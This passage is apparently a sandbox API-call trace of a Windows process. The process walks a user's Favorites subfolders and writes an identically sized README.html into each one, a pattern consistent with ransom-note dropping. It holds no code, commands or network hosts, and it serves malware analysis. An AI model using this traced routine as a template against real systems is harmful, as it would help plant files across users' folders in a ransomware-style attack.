	[0076.103] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1
	[0076.103] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1
	[0076.103] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1
	[0076.103] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1
	[0076.103] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0076.103] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0076.103] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.104] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0076.104] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0c80*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x126f0c80*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0076.105] CloseHandle (hObject=0xc0) returned 1
	[0076.105] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e090*, nNumberOfCharsToWrite=0x42, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x1263e090*, lpNumberOfCharsWritten=0x127ee914*=0x42) returned 1
	[0076.106] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links"), fInfoLevelId=0x0, lpFileInformation=0x123fc508 | out: lpFileInformation=0x123fc508*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0076.106] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.106] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0076.107] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.107] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0076.107] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1
	[0076.107] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1
	[0076.107] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0076.107] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0076.107] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.109] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0076.109] WriteFile (in: hFile=0xc0, lpBuffer=0x126f2580*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x126f2580*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0076.110] CloseHandle (hObject=0xc0) returned 1
	[0076.110] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e120*, nNumberOfCharsToWrite=0x48, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x1263e120*, lpNumberOfCharsWritten=0x127ee8b0*=0x48) returned 1
	[0076.111] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), fInfoLevelId=0x0, lpFileInformation=0x123fc648 | out: lpFileInformation=0x123fc648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec)) returned 1
	[0076.111] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), fInfoLevelId=0x0, lpFileInformation=0x123fc698 | out: lpFileInformation=0x123fc698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2)) returned 1
	[0076.111] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc6e8 | out: lpFileInformation=0x123fc6e8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50)) returned 1
	[0076.112] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites"), fInfoLevelId=0x0, lpFileInformation=0x123fc738 | out: lpFileInformation=0x123fc738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0076.112] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.112] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0076.113] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.113] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1
	[0076.113] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1
	[0076.113] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1
	[0076.113] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1
	[0076.113] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1
	[0076.113] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1
	[0076.113] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0076.114] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0076.114] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.115] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0076.115] WriteFile (in: hFile=0xc0, lpBuffer=0x126f3200*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x126f3200*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0076.116] CloseHandle (hObject=0xc0) returned 1
	[0076.117] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a280*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x1268a280*, lpNumberOfCharsWritten=0x127ee8b0*=0x4f) returned 1
	[0076.118] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), fInfoLevelId=0x0, lpFileInformation=0x123fc968 | out: lpFileInformation=0x123fc968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0076.118] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), fInfoLevelId=0x0, lpFileInformation=0x123fc9b8 | out: lpFileInformation=0x123fc9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0076.118] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), fInfoLevelId=0x0, lpFileInformation=0x123fca08 | out: lpFileInformation=0x123fca08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0076.118] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), fInfoLevelId=0x0, lpFileInformation=0x123fca58 | out: lpFileInformation=0x123fca58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0076.118] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), fInfoLevelId=0x0, lpFileInformation=0x123fcaa8 | out: lpFileInformation=0x123fcaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0076.119] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), fInfoLevelId=0x0, lpFileInformation=0x123fcaf8 | out: lpFileInformation=0x123fcaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0076.119] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites"), fInfoLevelId=0x0, lpFileInformation=0x123fcb48 | out: lpFileInformation=0x123fcb48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0076.119] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.119] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0076.121] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.121] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1
	[0076.121] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1
